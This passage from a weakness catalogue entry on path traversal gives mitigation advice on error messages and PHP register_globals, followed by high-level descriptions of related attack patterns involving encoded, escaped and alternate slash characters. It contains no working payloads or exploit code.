- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.